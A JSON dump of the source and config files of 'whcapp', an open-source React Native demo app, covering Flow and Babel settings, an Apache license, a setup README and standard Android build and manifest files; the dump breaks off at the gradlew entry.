[
  {
    "path": ".babelrc",
    "content": "{\n  \"presets\": [\"react-native\"]\n}\n"
  },
  {
    "path": ".buckconfig",
    "content": "\n[android]\n  target = Google Inc.:Google APIs:23\n\n[maven_repositories]\n  central = https://repo1.maven.org/maven2\n"
  },
  {
    "path": ".flowconfig",
    "content": "[ignore]\n; We fork some components by platform\n.*/*[.]android.js\n\n; Ignore \"BUCK\" generated dirs\n<PROJECT_ROOT>/\\.buckd/\n\n; Ignore unexpected extra \"@providesModule\"\n.*/node_modules/.*/node_modules/fbjs/.*\n\n; Ignore duplicate module providers\n; For RN Apps installed via npm, \"Libraries\" folder is inside\n; \"node_modules/react-native\" but in the source repo it is in the root\n.*/Libraries/react-native/React.js\n\n; Ignore polyfills\n.*/Libraries/polyfills/.*\n\n[include]\n\n[libs]\nnode_modules/react-native/Libraries/react-native/react-native-interface.js\nnode_modules/react-native/flow/\n\n[options]\nemoji=true\n\nmodule.system=haste\n\nmunge_underscores=true\n\nmodule.name_mapper='^[./a-zA-Z0-9$_-]+\\.\\(bmp\\|gif\\|jpg\\|jpeg\\|png\\|psd\\|svg\\|webp\\|m4v\\|mov\\|mp4\\|mpeg\\|mpg\\|webm\\|aac\\|aiff\\|caf\\|m4a\\|mp3\\|wav\\|html\\|pdf\\)$' -> 'RelativeImageStub'\n\nsuppress_type=$FlowIssue\nsuppress_type=$FlowFixMe\nsuppress_type=$FlowFixMeProps\nsuppress_type=$FlowFixMeState\nsuppress_type=$FixMe\n\nsuppress_comment=\\\\(.\\\\|\\n\\\\)*\\\\$FlowFixMe\\\\($\\\\|[^(]\\\\|(\\\\(>=0\\\\.\\\\(5[0-6]\\\\|[1-4][0-9]\\\\|[0-9]\\\\).[0-9]\\\\)? *\\\\(site=[a-z,_]*react_native[a-z,_]*\\\\)?)\\\\)\nsuppress_comment=\\\\(.\\\\|\\n\\\\)*\\\\$FlowIssue\\\\((\\\\(>=0\\\\.\\\\(5[0-6]\\\\|[1-4][0-9]\\\\|[0-9]\\\\).[0-9]\\\\)? *\\\\(site=[a-z,_]*react_native[a-z,_]*\\\\)?)\\\\)?:? #[0-9]+\nsuppress_comment=\\\\(.\\\\|\\n\\\\)*\\\\$FlowFixedInNextDeploy\nsuppress_comment=\\\\(.\\\\|\\n\\\\)*\\\\$FlowExpectedError\n\nunsafe.enable_getters_and_setters=true\n\n[version]\n^0.53.0\n"
  },
  {
    "path": ".gitattributes",
    "content": "*.pbxproj -text\n"
  },
  {
    "path": ".gitignore",
    "content": "# OSX\n#\n.DS_Store\n\n# Xcode\n#\nbuild/\n*.pbxuser\n!default.pbxuser\n*.mode1v3\n!default.mode1v3\n*.mode2v3\n!default.mode2v3\n*.perspectivev3\n!default.perspectivev3\nxcuserdata\n*.xccheckout\n*.moved-aside\nDerivedData\n*.hmap\n*.ipa\n*.xcuserstate\nproject.xcworkspace\n\n# Android/IntelliJ\n#\nbuild/\n.idea\n.gradle\nlocal.properties\n*.iml\n\n# node.js\n#\nnode_modules/\nnpm-debug.log\nyarn-error.log\n\n# BUCK\nbuck-out/\n\\.buckd/\n*.keystore\n\n# fastlane\n#\n# It is recommended to not store the screenshots in the git repo. Instead, use fastlane to re-generate the\n# screenshots whenever they are needed.\n# For more information about the recommended setup visit:\n# https://docs.fastlane.tools/best-practices/source-control/\n\n*/fastlane/report.xml\n*/fastlane/Preview.html\n*/fastlane/screenshots\n"
  },
  {
    "path": ".tern-project",
    "content": "{\n  \"ecmaVersion\": 6,\n  \"libs\": [\n    \"browser\"\n  ],\n  \"loadEagerly\": [\n    \"**/*.js\",\n    \"**/*.png\",\n    \"**/*.jpg\",\n    \"**/*.jpeg\"\n  ],\n  \"dontLoad\": [\n    \"node_modules/**\"\n  ],\n  \"plugins\": {\n    \"es_modules\": {},\n    \"node\": {},\n    \"doc_comment\": {\n      \"fullDocs\": true,\n      \"strong\": true\n    }\n  }\n}\n"
  },
  {
    "path": ".watchmanconfig",
    "content": "{}"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"{}\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright {yyyy} {name of copyright owner}\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n"
  },
  {
    "path": "README.md",
    "content": "# react-native whcapp\n\n[![License Apache2.0](https://img.shields.io/hexpm/l/plug.svg)](https://raw.githubusercontent.com/attentiveness/whcapp/master/LICENSE)\n\nA complete react-native app with complete data interaction capabilities.\n\nProvide learning advice for learning react-native development\n\n一个完整的react-native app 并且带有完整的数据交互实现\n\n**Flutter版本：**[whc_flutter_app](https://github.com/netyouli/whc_flutter_app)\n\n**android版本体验:** [https://fir.im/whcandroid](https://fir.im/whcandroid)\n\n**ios版本体验(内测):** [https://fir.im/whcios](https://fir.im/whcios)\n\n**app所使用数据接口文档地址：**[http://www.wuhaichao.com/api_doc/](http://www.wuhaichao.com/api_doc/)\n\n**Support: Android 5+   iOS 8.0+**\n\n## App Architecture\n\n```\n\"react\": \"16.0.0-beta.5\",\n\"react-native\": \"0.49.5\",\n\"react-navigation\": \"1.0.0-beta.19\",\n\n\"react-redux\": \"^5.0.5\",\n\"redux\": \"^3.7.2\",\n\"redux-thunk\": \"^2.2.0\"\n```\n\n## Screenshot\n<img src = \"./screenshot/home.png\" width = \"375\"><img src = \"./screenshot/android_home.png\" width = \"375\">\n<img src = \"./screenshot/community.png\" width = \"375\"><img src = \"./screenshot/android_community.png\" width = \"375\">\n<img src = \"./screenshot/my.png\" width = \"375\"><img src = \"./screenshot/android_my.png\" width = \"375\">\n\n## Development\n\n### Step One\n\n```\nnpm install -g react-native-cli\n```\n### Step Two\n\n```\nnpm install\n```\n### Step Three\n\n```\nreact-native start\n```\n### Step Four\n\n```\nreact-native run-ios\nreact-native run-android\n```\n\n## Contributing\n\nAny good Suggestions or questions to ask or email\n\n## License\n\nApache License 2.0\n"
  },
  {
    "path": "__tests__/App.js",
    "content": "import 'react-native';\nimport React from 'react';\nimport App from '../App';\n\n// Note: test renderer must be required after react-native.\nimport renderer from 'react-test-renderer';\n\nit('renders correctly', () => {\n  const tree = renderer.create(\n    <App />\n  );\n});\n"
  },
  {
    "path": "android/app/BUCK",
    "content": "# To learn about Buck see [Docs](https://buckbuild.com/).\n# To run your application with Buck:\n# - install Buck\n# - `npm start` - to start the packager\n# - `cd android`\n# - `keytool -genkey -v -keystore keystores/debug.keystore -storepass android -alias androiddebugkey -keypass android -dname \"CN=Android Debug,O=Android,C=US\"`\n# - `./gradlew :app:copyDownloadableDepsToLibs` - make all Gradle compile dependencies available to Buck\n# - `buck install -r android/app` - compile, install and run application\n#\n\nlib_deps = []\n\nfor jarfile in glob(['libs/*.jar']):\n  name = 'jars__' + jarfile[jarfile.rindex('/') + 1: jarfile.rindex('.jar')]\n  lib_deps.append(':' + name)\n  prebuilt_jar(\n    name = name,\n    binary_jar = jarfile,\n  )\n\nfor aarfile in glob(['libs/*.aar']):\n  name = 'aars__' + aarfile[aarfile.rindex('/') + 1: aarfile.rindex('.aar')]\n  lib_deps.append(':' + name)\n  android_prebuilt_aar(\n    name = name,\n    aar = aarfile,\n  )\n\nandroid_library(\n    name = \"all-libs\",\n    exported_deps = lib_deps,\n)\n\nandroid_library(\n    name = \"app-code\",\n    srcs = glob([\n        \"src/main/java/**/*.java\",\n    ]),\n    deps = [\n        \":all-libs\",\n        \":build_config\",\n        \":res\",\n    ],\n)\n\nandroid_build_config(\n    name = \"build_config\",\n    package = \"com.whcapp\",\n)\n\nandroid_resource(\n    name = \"res\",\n    package = \"com.whcapp\",\n    res = \"src/main/res\",\n)\n\nandroid_binary(\n    name = \"app\",\n    keystore = \"//android/keystores:debug\",\n    manifest = \"src/main/AndroidManifest.xml\",\n    package_type = \"debug\",\n    deps = [\n        \":app-code\",\n    ],\n)\n"
  },
  {
    "path": "android/app/build.gradle",
    "content": "apply plugin: \"com.android.application\"\n\nimport com.android.build.OutputFile\n\n/**\n * The react.gradle file registers a task for each build variant (e.g. bundleDebugJsAndAssets\n * and bundleReleaseJsAndAssets).\n * These basically call `react-native bundle` with the correct arguments during the Android build\n * cycle. By default, bundleDebugJsAndAssets is skipped, as in debug/dev mode we prefer to load the\n * bundle directly from the development server. Below you can see all the possible configurations\n * and their defaults. If you decide to add a configuration block, make sure to add it before the\n * `apply from: \"../../node_modules/react-native/react.gradle\"` line.\n *\n * project.ext.react = [\n *   // the name of the generated asset file containing your JS bundle\n *   bundleAssetName: \"index.android.bundle\",\n *\n *   // the entry file for bundle generation\n *   entryFile: \"index.android.js\",\n *\n *   // whether to bundle JS and assets in debug mode\n *   bundleInDebug: false,\n *\n *   // whether to bundle JS and assets in release mode\n *   bundleInRelease: true,\n *\n *   // whether to bundle JS and assets in another build variant (if configured).\n *   // See http://tools.android.com/tech-docs/new-build-system/user-guide#TOC-Build-Variants\n *   // The configuration property can be in the following formats\n *   //         'bundleIn${productFlavor}${buildType}'\n *   //         'bundleIn${buildType}'\n *   // bundleInFreeDebug: true,\n *   // bundleInPaidRelease: true,\n *   // bundleInBeta: true,\n *\n *   // whether to disable dev mode in custom build variants (by default only disabled in release)\n *   // for example: to disable dev mode in the staging build type (if configured)\n *   devDisabledInStaging: true,\n *   // The configuration property can be in the following formats\n *   //         'devDisabledIn${productFlavor}${buildType}'\n *   //         'devDisabledIn${buildType}'\n *\n *   // the root of your project, i.e. where \"package.json\" lives\n *   root: \"../../\",\n *\n *   // where to put the JS bundle asset in debug mode\n *   jsBundleDirDebug: \"$buildDir/intermediates/assets/debug\",\n *\n *   // where to put the JS bundle asset in release mode\n *   jsBundleDirRelease: \"$buildDir/intermediates/assets/release\",\n *\n *   // where to put drawable resources / React Native assets, e.g. the ones you use via\n *   // require('./image.png')), in debug mode\n *   resourcesDirDebug: \"$buildDir/intermediates/res/merged/debug\",\n *\n *   // where to put drawable resources / React Native assets, e.g. the ones you use via\n *   // require('./image.png')), in release mode\n *   resourcesDirRelease: \"$buildDir/intermediates/res/merged/release\",\n *\n *   // by default the gradle tasks are skipped if none of the JS files or assets change; this means\n *   // that we don't look at files in android/ or ios/ to determine whether the tasks are up to\n *   // date; if you have any other folders that you want to ignore for performance reasons (gradle\n *   // indexes the entire tree), add them here. Alternatively, if you have JS files in android/\n *   // for example, you might want to remove it from here.\n *   inputExcludes: [\"android/**\", \"ios/**\"],\n *\n *   // override which node gets called and with what additional arguments\n *   nodeExecutableAndArgs: [\"node\"],\n *\n *   // supply additional arguments to the packager\n *   extraPackagerArgs: []\n * ]\n */\n\nproject.ext.react = [\n        entryFile: \"index.js\"\n]\n\napply from: \"../../node_modules/react-native/react.gradle\"\n\n/**\n * Set this to true to create two separate APKs instead of one:\n *   - An APK that only works on ARM devices\n *   - An APK that only works on x86 devices\n * The advantage is the size of the APK is reduced by about 4MB.\n * Upload all the APKs to the Play Store and people will download\n * the correct one based on the CPU architecture of their device.\n */\ndef enableSeparateBuildPerCPUArchitecture = false\n\n/**\n * Run Proguard to shrink the Java bytecode in release builds.\n */\ndef enableProguardInReleaseBuilds = false\n\nandroid {\n    compileSdkVersion 23\n    buildToolsVersion \"23.0.1\"\n\n    defaultConfig {\n        applicationId \"com.whcapp\"\n        minSdkVersion 16\n        targetSdkVersion 22\n        versionCode 1\n        versionName \"1.0\"\n        ndk {\n            abiFilters \"armeabi-v7a\", \"x86\"\n        }\n    }\n    splits {\n        abi {\n            reset()\n            enable enableSeparateBuildPerCPUArchitecture\n            universalApk false  // If true, also generate a universal APK\n            include \"armeabi-v7a\", \"x86\"\n        }\n    }\n    signingConfigs {\n        release {\n            storeFile file(MYAPP_RELEASE_STORE_FILE)\n            storePassword MYAPP_RELEASE_STORE_PASSWORD\n            keyAlias MYAPP_RELEASE_KEY_ALIAS\n            keyPassword MYAPP_RELEASE_KEY_PASSWORD\n        }\n    }\n\n    buildTypes {\n        release {\n            minifyEnabled enableProguardInReleaseBuilds\n            proguardFiles getDefaultProguardFile(\"proguard-android.txt\"), \"proguard-rules.pro\"\n\n            signingConfig signingConfigs.release\n        }\n    }\n    // applicationVariants are e.g. debug, release\n    applicationVariants.all { variant ->\n        variant.outputs.each { output ->\n            // For each separate APK per architecture, set a unique version code as described here:\n            // http://tools.android.com/tech-docs/new-build-system/user-guide/apk-splits\n            def versionCodes = [\"armeabi-v7a\": 1, \"x86\": 2]\n            def abi = output.getFilter(OutputFile.ABI)\n            if (abi != null) {  // null for the universal-debug, universal-release variants\n                output.versionCodeOverride =\n                        versionCodes.get(abi) * 1048576 + defaultConfig.versionCode\n            }\n        }\n    }\n}\n\ndependencies {\n    compile fileTree(dir: \"libs\", include: [\"*.jar\"])\n    // From node_modules\n    compile 'com.android.support:appcompat-v7:23.4.0'\n    compile 'com.facebook.react:react-native:+'\n    compile 'com.android.support:design:23.4.0'\n}\n\n// Run this once to be able to run the application with BUCK\n// puts all compile dependencies into folder libs for BUCK to use\ntask copyDownloadableDepsToLibs(type: Copy) {\n    from configurations.compile\n    into 'libs'\n}\n"
  },
  {
    "path": "android/app/proguard-rules.pro",
    "content": "# Add project specific ProGuard rules here.\n# By default, the flags in this file are appended to flags specified\n# in /usr/local/Cellar/android-sdk/24.3.3/tools/proguard/proguard-android.txt\n# You can edit the include path and order by changing the proguardFiles\n# directive in build.gradle.\n#\n# For more details, see\n#   http://developer.android.com/guide/developing/tools/proguard.html\n\n# Add any project specific keep options here:\n\n# If your project uses WebView with JS, uncomment the following\n# and specify the fully qualified class name to the JavaScript interface\n# class:\n#-keepclassmembers class fqcn.of.javascript.interface.for.webview {\n#   public *;\n#}\n\n# Disabling obfuscation is useful if you collect stack traces from production crashes\n# (unless you are using a system that supports de-obfuscate the stack traces).\n-dontobfuscate\n\n# React Native\n\n# Keep our interfaces so they can be used by other ProGuard rules.\n# See http://sourceforge.net/p/proguard/bugs/466/\n-keep,allowobfuscation @interface com.facebook.proguard.annotations.DoNotStrip\n-keep,allowobfuscation @interface com.facebook.proguard.annotations.KeepGettersAndSetters\n-keep,allowobfuscation @interface com.facebook.common.internal.DoNotStrip\n\n# Do not strip any method/class that is annotated with @DoNotStrip\n-keep @com.facebook.proguard.annotations.DoNotStrip class *\n-keep @com.facebook.common.internal.DoNotStrip class *\n-keepclassmembers class * {\n    @com.facebook.proguard.annotations.DoNotStrip *;\n    @com.facebook.common.internal.DoNotStrip *;\n}\n\n-keepclassmembers @com.facebook.proguard.annotations.KeepGettersAndSetters class * {\n  void set*(***);\n  *** get*();\n}\n\n-keep class * extends com.facebook.react.bridge.JavaScriptModule { *; }\n-keep class * extends com.facebook.react.bridge.NativeModule { *; }\n-keepclassmembers,includedescriptorclasses class * { native <methods>; }\n-keepclassmembers class *  { @com.facebook.react.uimanager.UIProp <fields>; }\n-keepclassmembers class *  { @com.facebook.react.uimanager.annotations.ReactProp <methods>; }\n-keepclassmembers class *  { @com.facebook.react.uimanager.annotations.ReactPropGroup <methods>; }\n\n-dontwarn com.facebook.react.**\n\n# TextLayoutBuilder uses a non-public Android constructor within StaticLayout.\n# See libs/proxy/src/main/java/com/facebook/fbui/textlayoutbuilder/proxy for details.\n-dontwarn android.text.StaticLayout\n\n# okhttp\n\n-keepattributes Signature\n-keepattributes *Annotation*\n-keep class okhttp3.** { *; }\n-keep interface okhttp3.** { *; }\n-dontwarn okhttp3.**\n\n# okio\n\n-keep class sun.misc.Unsafe { *; }\n-dontwarn java.nio.file.*\n-dontwarn org.codehaus.mojo.animal_sniffer.IgnoreJRERequirement\n-dontwarn okio.**\n"
  },
  {
    "path": "android/app/src/main/AndroidManifest.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"com.whcapp\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\">\n\n    <uses-sdk\n        android:minSdkVersion=\"16\"\n        android:targetSdkVersion=\"22\" />\n\n    <uses-permission android:name=\"android.permission.INTERNET\" />\n    <uses-permission android:name=\"android.permission.SYSTEM_ALERT_WINDOW\" />\n\n    <android:uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\" />\n    <android:uses-permission android:name=\"android.permission.READ_PHONE_STATE\" />\n    <android:uses-permission android:name=\"android.permission.READ_EXTERNAL_STORAGE\" />\n\n    <application\n        android:name=\".MainApplication\"\n        android:allowBackup=\"true\"\n        android:icon=\"@mipmap/ic_launcher\"\n        android:label=\"@string/app_name\"\n        android:theme=\"@style/AppTheme\">\n        <activity\n            android:name=\".MainActivity\"\n            android:configChanges=\"keyboard|keyboardHidden|orientation|screenSize\"\n            android:label=\"@string/app_name\"\n            android:windowSoftInputMode=\"adjustResize\">\n            <intent-filter>\n                <action android:name=\"android.intent.action.MAIN\" />\n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n        <activity android:name=\"com.facebook.react.devsupport.DevSettingsActivity\" />\n    </application>\n\n</manifest>"
  },
  {
    "path": "android/app/src/main/java/com/whcapp/MainActivity.java",
    "content": "package com.whcapp;\n\nimport com.facebook.react.ReactActivity;\n\npublic class MainActivity extends ReactActivity {\n\n    /**\n     * Returns the name of the main component registered from JavaScript.\n     * This is used to schedule rendering of the component.\n     */\n    @Override\n    protected String getMainComponentName() {\n        return \"whcapp\";\n    }\n}\n"
  },
  {
    "path": "android/app/src/main/java/com/whcapp/MainApplication.java",
    "content": "package com.whcapp;\n\nimport android.app.Application;\n\nimport com.facebook.react.ReactApplication;\nimport com.facebook.react.ReactNativeHost;\nimport com.facebook.react.ReactPackage;\nimport com.facebook.react.shell.MainReactPackage;\nimport com.facebook.soloader.SoLoader;\n\nimport java.util.Arrays;\nimport java.util.List;\n\npublic class MainApplication extends Application implements ReactApplication {\n\n  private final ReactNativeHost mReactNativeHost = new ReactNativeHost(this) {\n    @Override\n    public boolean getUseDeveloperSupport() {\n      return BuildConfig.DEBUG;\n    }\n\n    @Override\n    protected List<ReactPackage> getPackages() {\n      return Arrays.<ReactPackage>asList(\n          new MainReactPackage()\n      );\n    }\n\n    @Override\n    protected String getJSMainModuleName() {\n      return \"index\";\n    }\n  };\n\n  @Override\n  public ReactNativeHost getReactNativeHost() {\n    return mReactNativeHost;\n  }\n\n  @Override\n  public void onCreate() {\n    super.onCreate();\n    SoLoader.init(this, /* native exopackage */ false);\n  }\n}\n"
  },
  {
    "path": "android/app/src/main/res/values/dimens.xml",
    "content": "<resources>\n    <!-- Default screen margins, per the Android Design guidelines. -->\n    <dimen name=\"activity_horizontal_margin\">16dp</dimen>\n    <dimen name=\"activity_vertical_margin\">16dp</dimen>\n    <dimen name=\"fab_margin\">16dp</dimen>\n</resources>\n"
  },
  {
    "path": "android/app/src/main/res/values/strings.xml",
    "content": "<resources>\n    <string name=\"app_name\">whc</string>\n    <string name=\"title_activity_launch\">LaunchActivity</string>\n</resources>\n"
  },
  {
    "path": "android/app/src/main/res/values/styles.xml",
    "content": "<resources>\n\n    <!-- Base application theme. -->\n    <style name=\"AppTheme\" parent=\"Theme.AppCompat.Light.NoActionBar\">\n        <!-- Customize your theme here. -->\n        <item name=\"android:windowBackground\">@mipmap/launch</item>\n    </style>\n\n    <style name=\"AppTheme.AppBarOverlay\" parent=\"ThemeOverlay.AppCompat.Dark.ActionBar\" />\n\n    <style name=\"AppTheme.PopupOverlay\" parent=\"ThemeOverlay.AppCompat.Light\" />\n\n\n</resources>\n"
  },
  {
    "path": "android/app/src/main/res/values-v21/styles.xml",
    "content": "<resources></resources>\n"
  },
  {
    "path": "android/app/src/main/res/values-w820dp/dimens.xml",
    "content": "<resources>\n    <!-- Example customization of dimensions originally defined in res/values/dimens.xml\n         (such as screen margins) for screens with more than 820dp of available width. This\n         would include 7\" and 10\" devices in landscape (~960dp and ~1280dp respectively). -->\n    <dimen name=\"activity_horizontal_margin\">64dp</dimen>\n</resources>\n"
  },
  {
    "path": "android/build.gradle",
    "content": "// Top-level build file where you can add configuration options common to all sub-projects/modules.\n\nbuildscript {\n    repositories {\n        jcenter()\n    }\n    dependencies {\n        classpath 'com.android.tools.build:gradle:2.2.3'\n\n        // NOTE: Do not place your application dependencies here; they belong\n        // in the individual module build.gradle files\n    }\n}\n\nallprojects {\n    repositories {\n        mavenLocal()\n        jcenter()\n        maven {\n            // All of React Native (JS, Obj-C sources, Android binaries) is installed from npm\n            url \"$rootDir/../node_modules/react-native/android\"\n        }\n    }\n}\n"
  },
  {
    "path": "android/gradle/wrapper/gradle-wrapper.properties",
    "content": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.14.1-all.zip\n"
  },
  {
    "path": "android/gradle.properties",
    "content": "## Project-wide Gradle settings.\n#\n# For more details on how to configure your build environment visit\n# http://www.gradle.org/docs/current/userguide/build_environment.html\n#\n# Specifies the JVM arguments used for the daemon process.\n# The setting is particularly useful for tweaking memory settings.\n# Default value: -Xmx1024m -XX:MaxPermSize=256m\n# org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8\n#\n# When configured, Gradle will run in incubating parallel mode.\n# This option should only be used with decoupled projects. More details, visit\n# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects\n# org.gradle.parallel=true\n#Thu Dec 21 19:04:51 CST 2017\nsystemProp.http.proxyHost=mirrors.zzu.edu.cn\nsystemProp.http.proxyPort=80\nandroid.useDeprecatedNdk=true\n"
  },
  {
    "path": "android/gradlew",
